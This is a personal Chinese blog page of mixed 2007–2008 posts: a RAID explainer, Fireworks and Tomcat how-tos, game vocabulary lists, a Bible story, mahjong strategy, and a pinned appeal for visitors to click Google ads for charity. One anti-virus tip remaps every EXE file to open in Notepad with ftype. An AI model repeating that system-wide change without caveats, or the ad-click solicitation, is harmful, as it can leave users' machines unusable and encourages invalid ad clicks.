|
|
用户名:pegasus827 笔名:pegasus827 地区: 湖南-长沙 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
QQ 285038777 事在人为
灵感的海非正式网络慈善公益活动
(作者置顶)
活动名称: 灵感的海-----非正式网络慈善公益活动
活动内容:
依靠在本Blog上发Google广告的方式挣钱。
欢迎来访的游客朋友能多花一点点时间点击。
如果我能收到Google寄来的广告收入支票,我决定将广告收入的10%捐给希望工程或慈善事业,到时候将捐赠获得的相关证明照片上传。
活动声明:
本活动为个人发起,仅以本Blog信誉作为担保。
本活动为非正式活动,参与本次活动者纯属自愿。如有问题,概不负责。
本活动最终解释权归本Blog所有。
动动手指,献出一份爱心!
- 作者: pegasus827 2007年03月26日, 星期一 22:39 回复(11) | 引用(0) 加入博采
成长的烦恼英文对白第一季第二季
- 作者: pegasus827 2008年08月25日, 星期一 17:08 回复(0) | 引用(0) 加入博采
MM7中的单词1
fire spike
strong enchantment
haste pedestal
monk
Archer
reagent
goblin
mace
harbor port
awhile
I was beset by foul bandits
seal contracts between...
treasured holy relic
beacon fires
purple barrel
demolishing your foes
barrow town is not a place to linger
linger
church
you are not just lucky peasant
矮人城堡
donate devote denote
cavalier
alchemy
plate armor
navigate negotiate
rid拯救! 摆脱
a breed of Medusa infesting the Red Dwarf
Haunted Mansion
elixir
griffin
treachery
Assassin's dagger
chop smartly at the wind
frightening claws demonic beckons
pit
deck
There is a breed of Medusa infesting
infect
tournament
沙漠
find the lost meditation spot
golem
spare parts scattered about the land
defective defect
Are you here to study the arts of Sorcery
Talalia
拆陷阱 沼泽小屋
盾牌大师
I'll animate your Golem
僧侣 enlightenment
Barrow Downs is a series of tombs
reach the barrow which is different from the rest and meditate by the water
Divine Intervention
艾拉西亚
Shrink ray
peasant thine
a dragon must be slain
Cavalier
hallmark bellied
in haunted mansion
stone to flesh
- 作者: pegasus827 2008年08月25日, 星期一 08:36 回复(0) | 引用(0) 加入博采
NOKIA手机串号查询和证书制作
Nokia *#06# 查串号
N73证书制作教程6

















- 作者: pegasus827 2008年08月13日, 星期三 10:11 回复(0) | 引用(0) 加入博采
自定义Firework命令轻松批量调整图片
网站图片如果体积太大,就会增加服务器的负担,浏览速度也会受到影响。而我们拍摄的或者取得的图片大小和容量一般都比较大,我们就需要对图片大小和质量进行调整。如果是一组照片,还需要批量调整。
Firework为网页制作三剑客之一,是我们常用的网页图片制作工具,下面介绍如何在firework中批量调整图片的方法。
一、将调整图片的步骤记录到命令中
1、 运行Firework8,选择“文件”——“打开”,在“查找范围”选择图片所在的目录,将选择图片,按“打开”。(见下图1.jpg)
点击看大图
2、 选择一图片,如选1.jpg
3、 调整图片大小,选择“修改”—“画布”—“图像大小”,“像素尺寸”宽设置成“420”像素,设成“约束比例”,按“确定”。(见下图2.jpg)
4、 调整图片品质,图片的品质越高,生成的图片容量就越大,将图片设成相对低一点品质,可以控制图片容量的大小。点击“优化”,可以看到这幅图片的品质值是“86”,那么我们在下拉菜单中选择“JPEG-较高品质”,这时的“品质”值是“80”,当然您也可以直接在品质中输入“70”。(见下图3.jpg)
5、 点击“文件”—“保存”。
6、 选择右边面板组中“帧和历史记录”中的“历史记录”,选取所有的历史记录(鼠标左击选取第一个步骤,按住“shift”键同时鼠标左击最后一个步骤),按左下角的“将步骤保存为命令”,在弹出的“保存命令”对话框的“名称”中输入命令名称,如输入“resize”。可以看到在菜单“命令”中多了一个“resize”选项。(见下图4.jpg)
二、利用生成的命令来调整其他图片
选择图片2.jpg,点击“命令”中的“resize”,就完成了“一”中“3”至“5”中的步骤,完成了对2.jpg的修改,同样修改3.jpg。(见下图5.jpg)
在下次打开firework时修改其他图片时,“resize”命令项照常使用。
三、结合firework中的批处理命令和生成的命令
如果要同时处理几十幅或几百幅图片,可以结合firework中的批处理命令和“resize”命令使用。
1、 点击“文件”—“批处理”
2、 出现“批次”对话框,选取所要调整的图片,点击“继续”。(见下图6.jpg)
点击看大图
3、 出现“批处理”对话框,点击“命令”前的“+”号,展开“命令”项,选取“resize”,点击“添加”,再点击“继续”。(见下图7.jpg)
4、 出现另一个“批处理”对话框,“批次输出”如选“与原始文件位置相同”则覆盖原有的文件,可选择备份方式,也可以不选择备份,点击“批次”。(见下图8.jpg)
5、 Firework对所选图片进行“resize”命令的批处理。(见下图9.jpg)
四、删除新命令
如果要删除“resize”命令,可选“命令”中的“管理保存的命令”,选中“resize”,按“删除”键。
上面只是介绍了批量调整图片大小和输出品质的方法,您还可以增加“加入水印”等步骤一并保存到命令中,从而完成更多的批量修改内容。
- 作者: pegasus827 2008年08月11日, 星期一 17:40 回复(0) | 引用(0) 加入博采
神镜传说单词三
cordial
exotic
knob
verge
verbal
locomotive
threshold
enthic
exquisite
ripple
colonial
colonize
reciprocal
corrupt
provocative
reconcile
precipitate
subtle
indulge
threshold
municipal
metropolitan
exempt
overt
garbage
trench
consecutive
extinct
hose
conscientious
offset
ripple
prevalent
tract
bureaucracy
augment
preside
quarterly
di
pope
ceramic
promising
elicit
fantastic
rejoice
envisage
sprial
ensue
authentic
stereotype
henceforth
explicit
aggravate
agenda
slot
dedicate
orthodox
agitation
rating
pledge
incredible
turbulent
stitch
accessory
liner
valve
tilt
pamphlet
discrete
tangle
vicinity
indulge
correspondence
spiral
ripple
token
- 作者: pegasus827 2008年08月5日, 星期二 21:24 回复(1) | 引用(0) 加入博采
RAID技术
概述
[编辑本段]
RAID是“Redundant Array of Independent Disk”的缩写,中文意思是独立冗余磁盘阵列。冗余磁盘阵列技术诞生于1987年,由美国加州大学伯克利分校提出。
RAID磁盘阵列(Redundant Array of Independent Disks)
简单地解释,就是将N台硬盘透过RAID Controller(分Hardware,Software)结合成虚拟单台大容量的硬盘使用,其特色是N台硬盘同时读取速度加快及提供容错性Fault Tolerant,所以RAID是当成平时主要访问Data的Storage不是Backup Solution。
在RAID有一基本概念称为EDAP(Extended Data Availability and Protection),其强调扩充性及容错机制, 也是各家厂商如:Mylex,IBM,HP,Compaq,Adaptec,Infortrend等诉求的重点,包括在不须停机情况下可处理以下动作:
RAID 磁盘阵列支援自动检测故障硬盘;
RAID 磁盘阵列支援重建硬盘坏轨的资料;
RAID 磁盘阵列支援支持不须停机的硬盘备援 Hot Spare;
RAID 磁盘阵列支援支持不须停机的硬盘替换 Hot Swap;
RAID 磁盘阵列支援扩充硬盘容量等。
一旦RAID阵列出现故障,硬件服务商只能给客户重新初始化或者REBUILD,这样客户数据就会无法挽回。因此对RAID0、RAID1、RAID5以及组合型的RAID系列磁盘阵列数据恢复,出现故障以后只要不对阵列作初始化操作,就有机会恢复出故障RAID磁盘阵列的数据。
技术规范
[编辑本段]
(1)RAID技术规范简介
冗余磁盘阵列技术最初的研制目的是为了组合小的廉价磁盘来代替大的昂贵磁盘,以降低大批量数据存储的费用,同时也希望采用冗余信息的方式,使得磁盘失效时不会使对数据的访问受损失,从而开发出一定水平的数据保护技术,并且能适当的提升数据传输速度。
过去RAID一直是高档服务器才有缘享用,一直作为高档SCSI硬盘配套技术作应用。近来随着技术的发展和产品成本的不断下降,IDE硬盘性能有了很大提升,加之RAID芯片的普及,使得RAID也逐渐在个人电脑上得到应用。
那么为何叫做冗余磁盘阵列呢?冗余的汉语意思即多余,重复。而磁盘阵列说明不仅仅是一个磁盘,而是一组磁盘。这时你应该明白了,它是利用重复的磁盘来处理数据,使得数据的稳定性得到提高。
(2)RAID的工作原理
RAID如何实现数据存储的高稳定性呢?我们不妨来看一下它的工作原理。RAID按照实现原理的不同分为不同的级别,不同的级别之间工作模式是有区别的。整个的RAID结构是一些磁盘结构,通过对磁盘进行组合达到提高效率,减少错误的目的,不要因为这么多名词而被吓坏了,它们的原理实际上十分简单。问了便于说明,下面示意图中的每个方块代表一个磁盘,竖的叫块或磁盘阵列,横称之为带区。
(3)RAID规范
主要包含RAID 0~RAID 7等数个规范,它们的侧重点各不相同,常见的规范有如下几种:
RAID 0:无差错控制的带区组
要实现RAID0必须要有两个以上硬盘驱动器,RAID0实现了带区组,数据并不是保存在一个硬盘上,而是分成数据块保存在不同驱动器上。因为将数据分布在不同驱动器上,所以数据吞吐率大大提高,驱动器的负载也比较平衡。如果刚好所需要的数据在不同的驱动器上效率最好。它不需要计算校验码,实现容易。它的缺点是它没有数据差错控制,如果一个驱动器中的数据发生错误,即使其它盘上的数据正确也无济于事了。不应该将它用于对数据稳定性要求高的场合。如果用户进行图象(包括动画)编辑和其它要求传输比较大的场合使用RAID0比较合适。同时,RAID可以提高数据传输速率,比如所需读取的文件分布在两个硬盘上,这两个硬盘可以同时读取。那么原来读取同样文件的时间被缩短为1/2。在所有的级别中,RAID 0的速度是最快的。但是RAID 0没有冗余功能的,如果一个磁盘(物理)损坏,则所有的数据都无法使用
RAID 1:镜象结构
对于使用这种RAID1结构的设备来说,RAID控制器必须能够同时对两个盘进行读操作和对两个镜象盘进行写操作。通过下面的结构图您也可以看到必须有两个驱动器。因为是镜象结构在一组盘出现问题时,可以使用镜象,提高系统的容错能力。它比较容易设计和实现。每读一次盘只能读出一块数据,也就是说数据块传送速率与单独的盘的读取速率相同。因为RAID1的校验十分完备,因此对系统的处理能力有很大的影响,通常的RAID功能由软件实现,而这样的实现方法在服务器负载比较重的时候会大大影响服务器效率。当您的系统需要极高的可靠性时,如进行数据统计,那么使用RAID1比较合适。而且RAID1技术支持“热替换”,即不断电的情况下对故障磁盘进行更换,更换完毕只要从镜像盘上恢复数据即可。当主硬盘损坏时,镜像硬盘就可以代替主硬盘工作。镜像硬盘相当于一个备份盘,可想而知,这种硬盘模式的安全性是非常高的,RAID 1的数据安全性在所有的RAID级别上来说是最好的。但是其磁盘的利用率却只有50%,是所有RAID级别中最低的。
RAID2:带海明码校验
从概念上讲,RAID 2 同RAID 3类似, 两者都是将数据条块化分布于不同的硬盘上, 条块单位为位或字节。然而RAID 2 使用一定的编码技术来提供错误检查及恢复。这种编码技术需要多个磁盘存放检查及恢复信息,使得RAID 2技术实施更复杂。因此,在商业环境中很少使用。下图左边的各个磁盘上是数据的各个位,由一个数据不同的位运算得到的海明校验码可以保存另一组磁盘上,具体情况请见下图。由于海明码的特点,它可以在数据发生错误的情况下将错误校正,以保证输出的正确。它的数据传送速率相当高,如果希望达到比较理想的速度,那最好提高保存校验码ECC码的硬盘,对于控制器的设计来说,它又比RAID3,4或5要简单。没有免费的午餐,这里也一样,要利用海明码,必须要付出数据冗余的代价。输出数据的速率与驱动器组中速度最慢的相等。
RAID3:带奇偶校验码的并行传送
这种校验码与RAID2不同,只能查错不能纠错。它访问数据时一次处理一个带区,这样可以提高读取和写入速度,它象RAID 0一样以并行的方式来存放数,但速度没有RAID 0快。校验码在写入数据时产生并保存在另一个磁盘上。需要实现时用户必须要有三个以上的驱动器,写入速率与读出速率都很高,因为校验位比较少,因此计算时间相对而言比较少。用软件实现RAID控制将是十分困难的,控制器的实现也不是很容易。它主要用于图形(包括动画)等要求吞吐率比较高的场合。不同于RAID 2,RAID 3使用单块磁盘存放奇偶校验信息。如果一块磁盘失效,奇偶盘及其他数据盘可以重新产生数据。 如果奇偶盘失效,则不影响数据使用。RAID 3对于大量的连续数据可提供很好的传输率,但对于随机数据,奇偶盘会成为写操作的瓶颈。 利用单独的校验盘来保护数据虽然没有镜像的安全性高,但是硬盘利用率得到了很大的提高,为n-1。
RAID4:带奇偶校验码的独立磁盘结构
RAID4和RAID3很象,不同的是,它对数据的访问是按数据块进行的,也就是按磁盘进行的,每次是一个盘。在图上可以这么看,RAID3是一次一横条,而RAID4一次一竖条。它的特点的RAID3也挺象,不过在失败恢复时,它的难度可要比RAID3大得多了,控制器的设计难度也要大许多,而且访问数据的效率不怎么好。
RAID5:分布式奇偶校验的独立磁盘结构
从它的示意图上可以看到,它的奇偶校验码存在于所有磁盘上,其中的p0代表第0带区的奇偶校验值,其它的意思也相同。RAID5的读出效率很高,写入效率一般,块式的集体访问效率不错。因为奇偶校验码在不同的磁盘上,所以提高了可靠性,允许单个磁盘出错。RAID 5也是以数据的校验位来保证数据的安全,但它不是以单独硬盘来存放数据的校验位,而是将数据段的校验位交互存放于各个硬盘上。这样,任何一个硬盘损坏,都可以根据其它硬盘上的校验位来重建损坏的数据。硬盘的利用率为n-1。 但是它对数据传输的并行性解决不好,而且控制器的设计也相当困难。RAID 3 与RAID 5相比,重要的区别在于RAID 3每进行一次数据传输,需涉及到所有的阵列盘。而对于RAID 5来说,大部分数据传输只对一块磁盘操作,可进行并行操作。在RAID 5中有“写损失”,即每一次写操作,将产生四个实际的读/写操作,其中两次读旧的数据及奇偶信息,两次写新的数据及奇偶信息。
RAID6:带有两种分布存储的奇偶校验码的独立磁盘结构
名字很长,但是如果看到图,大家立刻会明白是为什么,请注意p0代表第0带区的奇偶校验值,而pA代表数据块A的奇偶校验值。它是对RAID5的扩展,主要是用于要求数据绝对不能出错的场合。当然了,由于引入了第二种奇偶校验值,所以需要N+2个磁盘,同时对控制器的设计变得十分复杂,写入速度也不好,用于计算奇偶校验值和验证数据正确性所花费的时间比较多,造成了不必须的负载。我想除了军队没有人用得起这种东西。
RAID7:优化的高速数据传送磁盘结构
RAID7所有的I/O传送均是同步进行的,可以分别控制,这样提高了系统的并行性,提高系统访问数据的速度;每个磁盘都带有高速缓冲存储器,实时操作系统可以使用任何实时操作芯片,达到不同实时系统的需要。允许使用SNMP协议进行管理和监视,可以对校验区指定独立的传送信道以提高效率。可以连接多台主机,因为加入高速缓冲存储器,当多用户访问系统时,访问时间几乎接近于0。由于采用并行结构,因此数据访问效率大大提高。需要注意的是它引入了一个高速缓冲存储器,这有利有弊,因为一旦系统断电,在高速缓冲存储器内的数据就会全部丢失,因此需要和UPS一起工作。当然了,这么快的东西,价格也非常昂贵。
RAID10:高可靠性与高效磁盘结构
这种结构无非是一个带区结构加一个镜象结构,因为两种结构各有优缺点,因此可以相互补充,达到既高效又高速还可以的目的。大家可以结合两种结构的优点和缺点来理解这种新结构。这种新结构的价格高,可扩充性不好。主要用于容量不大,但要求速度和差错控制的数据库中。
RAID53:高效数据传送磁盘结构
越到后面的结构就是对前面结构的一种重复和再利用,这种结构就是RAID3和带区结构的统一,因此它速度比较快,也有容错功能。但价格十分高,不易于实现。这是因为所有的数据必须经过带区和按位存储两种方法,在考虑到效率的情况下,要求这些磁盘同步真是不容易。
RAID0+1:
把RAID0和RAID1技术结合起来,即RAID0+1。数据除分布在多个盘上外,每个盘都有其物理镜像盘,提供全冗余能力,允许一个以下磁盘故障,而不影响数据可用性,并具有快速读/写能力。要求至少4个硬盘才能作成RAID0+1。
(3)JBOD模式
JBOD通常又称为Span。它是在逻辑上将几个物理磁盘一个接一个连起来, 组成一个大的逻辑磁盘。JBOD不提供容错,该阵列的容量等于组成Span的所有磁盘的容量的总和。JBOD严格意义上说,不属于RAID的范围。不过现在很多IDE RAID控制芯片都带着种模式,JBOD就是简单的硬盘容量叠加,但系统处理时并没有采用并行的方式,写入数据的时候就是先写的一块硬盘,写满了再写第二块硬盘……
实际应用中最常见的是RAID0 RAID1 RAID5 和RAID10 由于在大多数场合,RAID5包含了RAID2-4的优点,所以RAID2-4基本退出市场
现在,一般认为RAID2-4只用于RAID开发研究
(4)我们能够用得上的IDE RAID
上面是对RAID原理的叙述,而我们Pcfans最关心的是RAID的应用。我们日常使用IDE硬盘,而且很容易买到IDE RAID卡和集成RAID芯片的主板。所以跟我们最贴近的是IDE RAID。限于应用级别很低,IDE RAID多数只支持RAID 0,RAID 1,RAID 0+1,JBOD模式。
RAID的应用
[编辑本段]
开始时RAID 方案主要针对SCSI硬盘系统,系统成本比较昂贵。1993年,HighPoint公司推出了第一款IDE-RAID控制芯片,能够利用相对廉价的IDE 硬盘来组建RAID系统,从而大大降低了RAID的“门槛”。从此,个人用户也开始关注这项技术,因为硬盘是现代个人计算机中发展最为“缓慢”和最缺少安全性的设备,而用户存储在其中的数据却常常远超计算机的本身价格。在花费相对较少的情况下,RAID技术可以使个人用户也享受到成倍的磁盘速度提升和更高的数据安全性,现在个人电脑市场上的IDE-RAID控制芯片主要出自HighPoint和Promise公司,此外还有一部分来自AMI公司(如表 2)。
面向个人用户的IDE-RAID芯片一般只提供了RAID 0、RAID 1和RAID 0+1(RAID 10)等RAID规范的支持,虽然它们在技术上无法与商用系统相提并论,但是对普通用户来说其提供的速度提升和安全保证已经足够了。随着硬盘接口传输率的不断提高,IDE-RAID芯片也不断地更新换代,芯片市场上的主流芯片已经全部支持ATA 100标准,而HighPoint公司新推出的HPT 372芯片和Promise最新的PDC20276芯片,甚至已经可以支持ATA 133标准的IDE硬盘。在主板厂商竞争加剧、个人电脑用户要求逐渐提高的今天,在主板上板载RAID芯片的厂商已经不在少数,用户完全可以不用购置 RAID卡,直接组建自己的磁盘阵列,感受磁盘狂飙的速度。
- 作者: pegasus827 2008年07月22日, 星期二 16:51 回复(0) | 引用(0) 加入博采
大卫与歌利亚
小白: 不附圣经原文,因其晦涩难懂
更多圣经故事 http://zanglingyang.bokewu.com/blog642860.htm
非利士人又来侵略,在以色列的国土上隔着以拉谷,敌我双方摆阵,准备战斗。非利士人有一个巨人,身高三公尺,从童年就当兵,身经百战,自称所向无敌。那巨人头戴钢盔,穿着五十多公斤重的铠甲,腿上有铜护膝。他右手拿着长枪,光枪头就有六公斤多重。在他的前面有一个人为他拿着大盾牌,可以挡着飞来的箭。那巨人四十天之久,天天来,站在那里挑战骂阵,扫罗王和以色列人都惊惶,极其害怕。
耶西的三个儿子也应征来到前线。有一天,大卫按照爸爸的吩咐,往前线探望哥哥,送食物给他们。正在他与哥哥说话的当儿,巨人又站出来骂阵,大卫看见以色列人逃跑,就说:“这不信上帝的非利士人是谁呢?竟敢向永生上帝的军队骂阵吗?”大哥以利押听了,就对他说:“小弟弟,你还是快回去放你的羊吧。”扫罗王听说大卫英勇的话,就召见他。
大卫对王说:“大家都不要怕那巨人,让我去打败他。”扫罗说:“你太小!没有受过军事训练,不行。”大卫说:“我曾打死狮子和熊,上帝既救我脱离狮子和熊的爪,也必救我脱离那非利士巨人的手。”于是扫罗给大卫穿上王的军装,但他不好走动,就脱了下来。他去河里挑选了五粒磨光了的小石头,放在口袋里,拿着机弦,前去迎敌。那巨人藐视大卫又矮又小,说:“你拿着杖来打狗吗?你不要搞错了,看看清楚:我是所向无敌的勇士!来吧!我必把你的肉喂飞鸟和野兽。”大卫信靠上帝,丝毫没有害怕的样子,说:“你来攻打我,靠刀靠枪;我攻打你,是靠万军之上帝的名!今天上帝必将你交在我手里,我必杀你,飞鸟和野兽要吃非利士军兵的肉,使普天下人都知道在以色列中有上帝。不是刀枪叫人得胜,乃是上帝使人得胜。”巨人向着大卫走来,后面的非利士军队严阵以待,准备追杀以色列人。大卫快跑迎敌,从口袋里摸出一粒小石头,稳妥迅速地安放在机弦上,瞄准了目标,猛力一甩,小石头飞过空中发出“嗖!”的响声,冲入巨人的前额内。那巨人马上向前栽了个口吃泥,大卫没有带刀,飞跑过去,用巨人的大刀割下了他的头。以色列人乘胜追击非利士人,大获全胜。
- 作者: pegasus827 2008年07月17日, 星期四 11:27 回复(0) | 引用(0) 加入博采
巧用“记事本” 让病毒白白运行 ftype
巧用“记事本” 让病毒白白运行
电脑中毒后,许多朋友会打开“进程管理器”,将几个不太熟悉的程序关闭掉,但有时会碰到这种情况:关掉一个,再去关闭另外一个时,刚才关闭的那个马上又运行了。再从注册表里先把启动项删除后,重启试试,刚删除的那些启动项又还原了。
由于电脑只装一个操作系统,也没办法在另一个系统下删除这些病毒。上网下载专杀工具后,仍然不能杀掉。
如此翻来覆去,病毒未杀掉,人却濒临崩溃。这时怎么办呢?遇到这种情况,笔者向大家推荐一种方法。
第一步:在“开始→运行”中输入CMD,打开“命令提示符”窗口。
第二步:输入ftype exefile=notepad.exe %1,这句话的意思是将所有的EXE文件用“记事本”打开。这样原来的病毒就无法启动了。
第三步:重启电脑,你会看见打开了许多“记事本”。当然,这其中不仅有病毒文件,还有一些原来的系统文件,比如:输入法程序。
第四步:右击任何文件,选择“打开方式”,然后点击“浏览”,转到WindowsSystem32下,选择cmd.exe,这样就可以再次打开“命令提示符”窗口。
第五步:运行ftype exefile=%1 %*,将所有的EXE文件关联还原。现在运行杀毒软件或直接改回注册表,就可以杀掉病毒了。
第六步:在每一个“记事本”中,点击菜单中的“文件→另存为”,就可看到了路径以及文件名了。找到病毒文件,手动删除即可,但得小心,必须确定那是病毒才能删除。建议将这些文件改名并记下,重启后,如果没有病毒作怪,也没有系统问题,再进行删除,
附:Ftype的用法
在Windows中,Ftype命令用来显示及修改不同扩展名文件所关联的打开程序。相当于在注册表编辑器中修改“HKEY_CLASSES_ROOT”项下的部分内容一样。
Ftype的基本使用格式为:Ftype [文件类型[=[打开方式/程序]]]
比如:像上例中的ftype exefile=notepad.exe %1,表示将所有文件类型为EXE(exefile表示为EXE类型文件)的文件都通过“记事本”程序打开,后面的%1表示要打开的程序本身(就是双击时的那个程序)。
ftype exefile=%1 %*则表示所有EXE文件本身直接运行(EXE 可以直接运行,所以用表示程序本身的%1即可),后面的%*则表示程序命令后带的所有参数(这就是为什么EXE文件可以带参数运行的原因)。
- 作者: pegasus827 2008年07月15日, 星期二 14:34 回复(0) | 引用(0) 加入博采
tomcat环境变量 转
cmd下定义!
首先是JDK的变量,写一个JAVA_HOME变量就可以了,进入cmd set JAVA_HOME=C:\Program Files\Java\jdk1.6.0_05(这里写你自己JDK的安装目录)
在定义过%JAVA_HOME%变量后,设置tomcat变量的时候需要在CLASSPATH下直接追加下变量,进入cmd set CLASSPATH=.;%JAVA_HOME%\lib\tools.jar;%JAVA_HOME%\lib\servlet-api.java;
然后写TOMCAT_HOME变量-进入cmd set TOMCAT_HOME=C:\Program Files\Apache Software Foundation\Tomcat 6.0 (这里的C:\Program Files\Apache Software Foundation\Tomcat 6.0 是你tomcat的变量目录,根据自己的写,根目录就行)
再写个TOMCAT-BASE 进入cmd set TOMCAT_BASE =C:\Program Files\Apache Software Foundation\Tomcat 6.0(同上)
现在就OK了,http://localhost:8080 测试一下吧,出现tomcat的欢迎页面就代表你配置success了!
- 作者: pegasus827 2008年07月14日, 星期一 15:35 回复(0) | 引用(0) 加入博采
要研究的 ,用完删掉
http://www.xmitzone.cn/?action-viewnews-itemid-878
http://blog.csdn.net/xurik/archive/2006/12/06/1432354.aspx
http://topic.csdn.net/t/20041223/14/3670234.html
http://www.blogjava.net/beansoft/archive/2007/09/18/146115.html
- 作者: pegasus827 2008年07月13日, 星期日 14:32 回复(0) | 引用(0) 加入博采
宫本武藏 五轮书 中文简体
- 作者: pegasus827 2008年07月13日, 星期日 14:16 回复(0) | 引用(0) 加入博采
麻将技术理论
麻将要赢牌,运气与技巧各占一半。虽然麻将没有正确的打法,必须看当时的牌局发展,但有一些原则及观念应先建立。
不同的牌有不同的处理方式
一附144张的麻将牌,扣除花牌8张,海底牌16张,各家已取走16张牌,海底剩下的牌只剩56张,平均每人只能再摸14张牌。
·拿到好牌的,可打生张牌,造成对手吃、碰的情形,如此使自己以更快的速度摸牌,而且可减少敌方以后吃、碰的机会。
·拿到中等牌的,如果是牌型组合不太够,则不必急着拆牌或造牌,先跟打熟张,避免让敌家吃、碰牌。但若牌组太多,必须拆掉多余的偏张。
·若牌太烂,可以逼和为目的,让本局流局,或求不放枪。尽量跟打熟牌,扣住下家的牌,还有旺家的牌
舍牌的技巧
·在摸牌之前就先考虑要打出那一张牌,别在摸牌后才考虑半天·通常先打字牌,再打偏张,最后才是中张数牌。
·若一开始便打数牌,甚至拆牌打,可能此人牌很好,要特别提防。
·一直打某一色的牌,须提防此人作大牌。
·一直未打某一色的牌,也可能有问题,他可能是在做清一色或混一色,别任意丢那门的牌
·假如是听牌阶段,若某家跑五万,小心你的一四万和六九万。
·某家先拆一二万,即可能手牌中有四五万的顺子,他对三六万非常饥渴。
听牌的型态
·听多门:一个数列通常听好几个洞,例如二三四五,听二五,二三四五六,听一四七。不过须注意胡其中某些牌可能破坏牌型(如一条龙、平胡....)
·听单调:及一张单张牌,要凑一个对子(将牌)
·听中洞:例如二四万,听中洞三万。
·听边张:例如七八万,听九万。
·听对对:留有两组对子,只要再凑一组刻子,另一组当将牌,因此听两张
·避免与上家听相同的牌,避免被早一家喊胡。
其它注意事项
·不要固定以某种顺序将牌区分开来,以免被看出牌型
·吃、碰牌后也应适度变换牌的位置
·先检视你的牌,看比较容易作成那一种牌·留中间数牌,比较容易凑成顺搭
麻将的必胜法
1.147,258规则:下家丢1万,3、4、7万基本不吃,2、5万可能要吃;
2.牌过半旬,上家开始落风子,不要碰(碰听张除外);
3.牌局一直不胡,最好不要动牌,要打熟张,牌一动就有吃大牌的可能;
4.下家丢3、8万,有可能手握3、5、6、8万,打4、7万要小心一点;
5.下家丢8、9万,有可能手中还有4、7万,打4、7万要小心一点;
6.开始几圈,除嵌张、边张外,两头张最好不吃,先上别的张,等上家再拿到这种牌时,他还会打下来;
7.手中有1万一张,2万一对这种牌型,别人丢3万,如有混(百搭)不要吃(吃听张除外);
8.外面风子除东风外全都见了,不能打,有可能要杠开,至少看二圈再打;
9.外面有7万碰掉,8万见二张,9万基本上有人碰;
10.牌开始时先丢荡张,再丢风子,但是手中风子不可超过二张;
11.自己无混(百搭)听张,比如2、5万,上家丢2、5万,如果你吃了可听2、5、8,没有必要吃;
12.单吊不要吊一张都没有见过的张,最好吊两头都碰掉,外面见一张的张子或风子;
13.开始几圈,有人丢东风,手中有东西风,要先丢西风,因有可能有人拿西风对,别人丢你将被轮出一圈,东风你还可能拿对。
知已知彼战术
①怎样猜牌
猜牌有两个内容:
(一) 进攻时:自己所想要上的张,上家有没有?肯不肯打?已经听张了,人家会不会打?是否就打?
(二) 守势时:人家要什么牌?人家听什么牌?取攻势是求自己从速上张,尽早和出,以免人家和出,虽攻亦寓守意。取守势时则力求猜测准确,以缩小克牌的范围,而给自己出路,虽守亦含攻崐。
猜牌有两种情况:
(一) 初步的:下家大概有哪一路牌。这张牌打出去,大概有人要碰,要吃,或要和。
(二) 铁定的:这一张牌打出去,一定有人和出,而且一定是某一家和出。前者是笼统的,可以根据统计、观测而得到答案;后者则是确定的,决非单凭估计而可得到答案。
(1)很早打中、发、白,当有做平和的企图。
(2)在打过二、三、四、五、六、七、八之后,打幺、九,非拆搭,即去衍张。
(3)拆两头搭子,不是有做一色的嫌疑,就是大幺对子很多。
(4)先打一,后打二,紧防三、六。
(5)先打九,后打八,紧防四、七。
(6)开大幺对,有好搭。
(7)想吃不吃,必有同样的牌多张。
(8)想碰不碰,不必防其碰大幺。
(9)麻将头,不要三、四、六、七。
(10)嵌二、八是上好搭子。
(11)牌将完,需防半熟牌张。
(12)幺、九少见,必有对子。
(13)临危(指有大牌或将抓完时)而打生张,手中必有大牌。
(14)打牌不顾一色,居心不良。
上面所举的不过是最容易理解的,如能根据这些例子再加以融汇贯通,便能摸到猜牌的途径了。
譬如:在打过中心张子之后,突然又从里面打一张幺九(从原来的牌打出来,与抓来就打,分别甚大,打牌时非注意到此点不可),说明“非拆搭,即去衍张”,然而这二者又从何分别呢?倘若你有五、八索搭子,上家打了一张九索,当然可以希望他打一张八索给你,然而他在
第二张抓进时,换出一张五索来,你便可不必再等候他的八索了,因他决不是拆边七索或嵌八索的搭子。倘若你能从另外的现象中看出,例如河里不见八索,而七、九索已各见三张,便可认定他有八索一对或一坎;否则他是抓进一张六索,换出一张九索的。
又如:先打一,后打二,固然要提防他有三、六的搭子;然而也许他是简单地拆一个边三的搭子,你紧防三、六岂非徒劳了吗!所以,在应用这种路数时,也得瞻前顾后,才可有比较可靠的答案。
现在,我们要进一步来考虑一个更难以断定的因素,以作为猜牌的根据。“他是怎样打牌的?”这实是一个最紧要的因素,更透彻一些来说,他打牌的路数是怎样的?他的麻将技巧水准如何?他有无特殊的牌气?孙子兵法所谓:“知己知彼,方能克敌”。叉麻将亦应应用这个原则。根据我们的经验,可把麻将技巧分为上中下三级。而这三级是根据下列现象来区分的:
(一)抓进六筒不会换出九筒的 譬如有七、八、九筒一顺,抓进一张六筒仍打六筒——这类人的麻将技巧仅能管理现成的牌,而换一张打的念头还不能产生。当然,听三交而不听,生熟张不甚明了之类的毛病也包括在内。这是下级。
(二)抓进六筒会打九筒的 同前例,能换打九筒,说明已看清九筒是大幺,比较地不易给人家便宜。他已经了解生熟张之别,在全副牌的过程中,可不至于蚀搭。这是中级。
(三)抓进九筒而换打六筒的 同前例,能这样打,说明水准更高了,因为他抓进一张九筒,而知九筒是生张,六筒的危险倒少,已能解除幺、九熟于中心张子的死限制,这显然是更进一级的技巧了。他不但能看透生张的分别、而且还会因时制宜,随机应变,已到出神入
化的地步了。这是上级。
也有人用另外一种现象来区分的,即:
下级——不知听一、四、七而听四、七,比如有二、三、三、四五,抓进一张六,不知打三而打六。
中级——听一、四、七。
上级——情愿不听一、四、七,而听嵌七。其理由与前述之例相同。下家者顾自己还顾不周全,中级者已能顾全自己而尚未臻化境,上级者则张张见血,知己知彼,能攻能守,灵活应用。在猜牌的因素中,这个估计是最根本的;因为你倘若对每个入局者的水准没有正确的估计,便会时常怀疑自己的猜测是错误的,以为他所打的牌出乎意料之外。其实是你自己想得不够周到。
譬如:一家有八、九万两张,抓进一张六万时,在中、下级技巧必打九万,而上级技巧就未必如此,明乎此理,猜牌之术便属上乘了。
阶段舍牌的策略
在麻将中,舍牌十分重要。摸、吃、碰、杠属于进张,舍牌则是出张,故麻将技巧之高低、竞技之胜负,舍牌系于一半,甚至不止一半。麻将高手打得“精明”,主要是精在“舍牌”上。
舍牌之重要性在于:
第一、舍牌的安危可以打乱摸牌的顺序;
第二、舍牌可决定各家战术的运用;
第三、舍牌可促进他人入听的升级;
第四、舍牌可破坏他人的战略部署;
第五、舍牌又能牵制他人的牌势;
